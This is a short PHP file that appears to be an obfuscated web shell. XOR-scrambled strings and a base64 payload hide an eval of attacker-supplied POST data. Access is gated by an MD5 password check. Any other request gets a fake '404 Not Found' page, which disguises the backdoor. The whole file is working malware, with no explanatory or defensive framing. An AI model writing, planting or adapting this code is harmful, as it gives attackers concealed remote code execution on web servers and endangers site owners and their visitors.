aaaaaaaaaa<?php
$a = ${"h*{(."^"|?+d%"^"#!^(g"^"hdA78"}[1];
$b = ${"h*{(."^"|?+d%"^"#!^(g"^"hdA78"}[2];
//  1 is md5('admin'). You can have on your own.
if(isset($b) and md5(stripslashes($a))=='b1744c56bc485da3bf5680b28deaf132')
{

    $b = @base64_decode("JFBPPWJhc2U2NF9kZWNvZGUoc3Vic3RyKCRfUE9TVFsnYWEnXSwyKSk7IGV2YWwoJFBPKTs=");
    class C{public function __invoke($p) {eval($p);}};
    $t = "$!$(o;\_:o(*@("^".k :\}dc.@>eb-"^"@f%;:]-(#!@p=+"^")MMEVnfqEQ0JqM";
    @${'t'}(new C(),$b);
}
else{

    echo '<title>Error 404!!1</title><p align="center">404.Not Found</p>';

    header('HTTP/1.1 404 Not Found');
    http_response_code(404);
}
?>